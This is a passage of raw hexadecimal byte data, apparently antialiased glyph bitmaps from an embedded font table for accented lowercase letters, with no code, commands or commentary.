0x07, 0x40, 0x84, 0xE7, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2D, 0xF0, 0xFF, 0xFF, 0xFE, 0x25, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x67, 0xFF, 0xFF, 0xFF, 0x56, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2D, 0xFF, 0xFF, 0xFF, 0x79, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x05, 0xFF, 0xFF, 0xFF, 0x8A, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1E, 0xFF, 0xFF, 0xFF, 0x68, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x41, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x06, 0xCF, 0xFF, 0xFF, 0xFB, 0x15, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1E, 0xAE, 0xFF, 0xFF, 0xFF, 0x95, 0x00, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x13, 0x9E,
0x99, 0xBE, 0xF7, 0xFF, 0xFF, 0xFF, 0xF3, 0x16, 0x00, 0xE4, 0xFF, 0xFF, 0x7D, 0x00, 0x26, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEE, 0x49, 0x00, 0x00, 0xDF, 0xFF, 0xFF, 0x78, 0x00, 0x26, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x67,
0x77, 0x72, 0x45, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x54, 0x54, 0x54,
0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xEE,
0xFF, 0xFF, 0xF6, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x3A, 0xF5, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x47, 0xFA, 0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xFD, 0xFF, 0xEA, 0x13, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x67, 0xDC, 0xDC, 0x69, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x44, 0x6B, 0x8C, 0x95,
0x7C, 0x61, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x6F, 0xDE, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x56, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF,
0xFF, 0xFF, 0xFB, 0x9E, 0x70, 0x60, 0x7A, 0xCC, 0xFF, 0xFF, 0xFF, 0xF7, 0x07, 0x00, 0x00, 0x00,
0xA9, 0xFF, 0xFF, 0xF5, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFF, 0x38, 0x00,
0x00, 0x00, 0xD0, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xFE, 0xFF, 0xFF,
0x63, 0x00, 0x00, 0x00, 0x8E, 0xA6, 0xA6, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xFD,
0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x39,
0xC6, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x4D, 0x83, 0xAA, 0xCA, 0xEA,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x52, 0xD8, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF7, 0xD3, 0xA1, 0x59, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x47, 0xFF, 0xFF,
0xFF, 0xFC, 0x9A, 0x4B, 0x1B, 0x01, 0x00, 0x00, 0x00, 0xFB, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x98,
0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x66, 0x00,
0x00, 0xCE, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF,
0x66, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC9, 0xFF,
0xFF, 0xFF, 0x66, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFE, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x23, 0xD6,
0xFF, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x7E, 0x95, 0xD2,
0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x86, 0x28, 0x00, 0xAE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFD, 0x7B, 0x91, 0xFF, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x0D, 0x93, 0xFD, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x48, 0x00, 0x26, 0xE6, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00,
0x29, 0x62, 0x8B, 0x8F, 0x73, 0x3E, 0x01, 0x00, 0x00, 0x00, 0x11, 0x4B, 0x5E, 0x47, 0x0C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x52, 0x54, 0x54, 0x54, 0x05, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0xFF, 0xBF, 0x07, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xF2, 0xFF, 0xFF, 0xCC, 0x0D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB1, 0xFF, 0xFF, 0xD8, 0x15,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0xFF, 0xFF, 0xE3,
0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB3, 0xDC,
0xD3, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0x44, 0x6B, 0x8C, 0x95, 0x7C, 0x61, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0x6F, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x4F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x56,
0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0xFB, 0x9E, 0x70, 0x60, 0x7A, 0xCC, 0xFF, 0xFF,
0xFF, 0xF7, 0x07, 0x00, 0x00, 0x00, 0xA9, 0xFF, 0xFF, 0xF5, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00,
0x89, 0xFF, 0xFF, 0xFF, 0x38, 0x00, 0x00, 0x00, 0xD0, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0E, 0xFE, 0xFF, 0xFF, 0x63, 0x00, 0x00, 0x00, 0x8E, 0xA6, 0xA6, 0x3D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x08, 0xFD, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0A, 0x39, 0xC6, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x4D, 0x83, 0xAA, 0xCA, 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00,
0x00, 0x52, 0xD8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00,
0x00, 0x00, 0x94, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xD3, 0xA1, 0x59, 0xFF, 0xFF, 0xFF,
0x66, 0x00, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0xFC, 0x9A, 0x4B, 0x1B, 0x01, 0x00, 0x00, 0x00, 0xFB,
0xFF, 0xFF, 0x66, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1F, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCE, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0xC9, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFE, 0x4E,
0x00, 0x00, 0x00, 0x00, 0x23, 0xD6, 0xFF, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x56, 0xFF, 0xFF,
0xFF, 0xFF, 0xCA, 0x7E, 0x95, 0xD2, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x86, 0x28, 0x00,
0xAE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x7B, 0x91, 0xFF, 0xFF, 0xFF, 0xFF,
0x60, 0x00, 0x0D, 0x93, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x48, 0x00, 0x26, 0xE6, 0xFF,
0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x29, 0x62, 0x8B, 0x8F, 0x73, 0x3E, 0x01, 0x00, 0x00, 0x00,
0x11, 0x4B, 0x5E, 0x47, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x54, 0x54, 0x54, 0x2E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB1, 0xFF, 0xFF,
0xFF, 0xEC, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25,
0xF4, 0xFF, 0xFF, 0x59, 0xE3, 0xFF, 0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0xC9, 0xFF, 0xFF, 0x93, 0x00, 0x42, 0xFE, 0xFF, 0xF7, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x4C, 0xDC, 0xDC, 0xC2, 0x09, 0x00, 0x00, 0x83, 0xDC, 0xDC, 0x98, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x44, 0x6B, 0x8C, 0x95, 0x7C, 0x61, 0x2F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x6F, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xCA, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x56, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0xFB, 0x9E,
0x70, 0x60, 0x7A, 0xCC, 0xFF, 0xFF, 0xFF, 0xF7, 0x07, 0x00, 0x00, 0x00, 0xA9, 0xFF, 0xFF, 0xF5,
0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFF, 0x38, 0x00, 0x00, 0x00, 0xD0, 0xFF,
0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xFE, 0xFF, 0xFF, 0x63, 0x00, 0x00, 0x00,
0x8E, 0xA6, 0xA6, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xFD, 0xFF, 0xFF, 0x66, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x39, 0xC6, 0xFF, 0xFF, 0xFF,
0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x4D, 0x83, 0xAA, 0xCA, 0xEA, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x52, 0xD8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7,
0xD3, 0xA1, 0x59, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0xFC, 0x9A, 0x4B,
0x1B, 0x01, 0x00, 0x00, 0x00, 0xFB, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0xFF, 0x56,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCE, 0xFF, 0xFF,
0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCB,
0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC9, 0xFF, 0xFF, 0xFF, 0x66, 0x00,
0x00, 0x9D, 0xFF, 0xFF, 0xFE, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x23, 0xD6, 0xFF, 0xFF, 0xFF, 0xFF,
0x6D, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x7E, 0x95, 0xD2, 0xFE, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xD6, 0x86, 0x28, 0x00, 0xAE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD,
0x7B, 0x91, 0xFF, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x0D, 0x93, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xDF, 0x48, 0x00, 0x26, 0xE6, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x29, 0x62, 0x8B, 0x8F,
0x73, 0x3E, 0x01, 0x00, 0x00, 0x00, 0x11, 0x4B, 0x5E, 0x47, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x16,
0x59, 0x80, 0x65, 0x1F, 0x00, 0x00, 0x00, 0x6F, 0xC8, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2B, 0xE8, 0xFF, 0xFF, 0xFF, 0xFE, 0xC2, 0x6A, 0x82, 0xEF, 0xFF, 0x73, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x1F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1A, 0xFE, 0xFF, 0x51, 0x1F, 0x64, 0xBF, 0xFD, 0xFF, 0xFF, 0xD6, 0x50, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x8C, 0x73, 0x00, 0x00, 0x00, 0x00, 0x14, 0x44, 0x32, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x44, 0x6B, 0x8C, 0x95,
0x7C, 0x61, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x6F, 0xDE, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x56, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF,
0xFF, 0xFF, 0xFB, 0x9E, 0x70, 0x60, 0x7A, 0xCC, 0xFF, 0xFF, 0xFF, 0xF7, 0x07, 0x00, 0x00, 0x00,
0xA9, 0xFF, 0xFF, 0xF5, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFF, 0x38, 0x00,
0x00, 0x00, 0xD0, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xFE, 0xFF, 0xFF,
0x63, 0x00, 0x00, 0x00, 0x8E, 0xA6, 0xA6, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xFD,
0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x39,
0xC6, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x4D, 0x83, 0xAA, 0xCA, 0xEA,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x52, 0xD8, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF7, 0xD3, 0xA1, 0x59, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x47, 0xFF, 0xFF,
0xFF, 0xFC, 0x9A, 0x4B, 0x1B, 0x01, 0x00, 0x00, 0x00, 0xFB, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x98,
0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x66, 0x00,
0x00, 0xCE, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF,
0x66, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC9, 0xFF,
0xFF, 0xFF, 0x66, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFE, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x23, 0xD6,
0xFF, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x7E, 0x95, 0xD2,
0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x86, 0x28, 0x00, 0xAE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFD, 0x7B, 0x91, 0xFF, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x0D, 0x93, 0xFD, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x48, 0x00, 0x26, 0xE6, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00,
0x29, 0x62, 0x8B, 0x8F, 0x73, 0x3E, 0x01, 0x00, 0x00, 0x00, 0x11, 0x4B, 0x5E, 0x47, 0x0C, 0x00,
0x00, 0x00, 0x00, 0x50, 0x62, 0x62, 0x39, 0x00, 0x21, 0x62, 0x62, 0x61, 0x06, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xDE, 0xFF, 0xFF, 0xA1, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x1C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDE, 0xFF, 0xFF, 0xA1, 0x00, 0x63, 0xFF, 0xFF, 0xFF,
0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDE, 0xFF, 0xFF, 0xA1, 0x00, 0x63, 0xFF,
0xFF, 0xFF, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x76, 0x76, 0x46, 0x00,
0x29, 0x76, 0x76, 0x75, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0x44, 0x6B, 0x8C, 0x95, 0x7C, 0x61, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0x6F, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x56, 0x00, 0x00,
0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0xFB, 0x9E, 0x70, 0x60, 0x7A, 0xCC, 0xFF, 0xFF, 0xFF, 0xF7,
0x07, 0x00, 0x00, 0x00, 0xA9, 0xFF, 0xFF, 0xF5, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF,
0xFF, 0xFF, 0x38, 0x00, 0x00, 0x00, 0xD0, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0E, 0xFE, 0xFF, 0xFF, 0x63, 0x00, 0x00, 0x00, 0x8E, 0xA6, 0xA6, 0x3D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x08, 0xFD, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0A, 0x39, 0xC6, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x4D,
0x83, 0xAA, 0xCA, 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x52,
0xD8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00,
0x94, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xD3, 0xA1, 0x59, 0xFF, 0xFF, 0xFF, 0x66, 0x00,
0x00, 0x47, 0xFF, 0xFF, 0xFF, 0xFC, 0x9A, 0x4B, 0x1B, 0x01, 0x00, 0x00, 0x00, 0xFB, 0xFF, 0xFF,
0x66, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF,
0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCE, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x62, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0xC9, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFE, 0x4E, 0x00, 0x00,
0x00, 0x00, 0x23, 0xD6, 0xFF, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF, 0xFF,
0xCA, 0x7E, 0x95, 0xD2, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x86, 0x28, 0x00, 0xAE, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x7B, 0x91, 0xFF, 0xFF, 0xFF, 0xFF, 0x60, 0x00,
0x0D, 0x93, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x48, 0x00, 0x26, 0xE6, 0xFF, 0xFF, 0xFF,
0x60, 0x00, 0x00, 0x00, 0x29, 0x62, 0x8B, 0x8F, 0x73, 0x3E, 0x01, 0x00, 0x00, 0x00, 0x11, 0x4B,
0x5E, 0x47, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x54, 0x43, 0x09, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xB4, 0xFF, 0xFF, 0xFF, 0xDC,
0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xFF, 0xEB, 0x98,
0xD1, 0xFF, 0xD8, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE4, 0xFF,
0x2C, 0x00, 0x01, 0xDB, 0xFF, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF9, 0xF6, 0x06, 0x00, 0x00, 0xAE, 0xFF, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xCC, 0xFF, 0x82, 0x0B, 0x45, 0xF8, 0xFE, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xC2, 0xEC, 0xD1, 0x75, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
